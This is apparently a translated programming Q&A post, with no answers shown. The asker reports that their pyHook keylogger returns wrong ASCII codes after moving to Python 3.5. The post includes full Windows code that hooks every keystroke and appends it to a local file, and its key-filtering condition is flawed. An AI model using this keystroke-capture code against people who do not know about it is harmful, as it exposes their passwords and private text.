python 3.5上的pyhook错误

时间:2015-12-21 11:40:56

标签: python-3.5 pyhook

我正在尝试使用pyhook编写一个键盘记录器。下面是一段代码。 我最近从py2.7改为py3.5。迁移前代码运行正常。

迁移后我遇到错误。 每次我按下说" a"在键盘上,我得到event.Ascii为1(a = 1,b = 2,同样)而不是97(这是期望值)。 如果我插入一个断点并尝试调试模式,那么它可以正常工作。

我在Win7-64位操作系统上运行并使用anaconda分发包进行python。

import win32api
import sys
import pythoncom
import pyHook
import os
from time import strftime, sleep

# ################################################################################

filename = r"E:\myfile.txt"

if os.path.isfile(filename):
    f = open(filename, 'a')
    f.write(strftime("\n\n%A, %d. %B %Y %I:%M%p\n\n"))
    f.close()
else:
    f = open(filename, 'w')
    f.write(strftime("%A, %d. %B %Y %I:%M%p\n\n"))
    f.close()


def OnKeyboardEvent(event):

    try:
        if event.Ascii == 5:
            sys.exit()
        elif event.Ascii != 0 or event.Ascii != 8:
            keylogs = chr(event.Ascii)
        elif event.Ascii == 13 or event.Ascii == 9:
            keylogs = keylogs + '\n'
        else:
            pass

        # write to a file
        f = open(filename, 'a')
        f.write(keylogs)
        f.close()
    except UnboundLocalError:
        pass

    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

0 个答案:

没有答案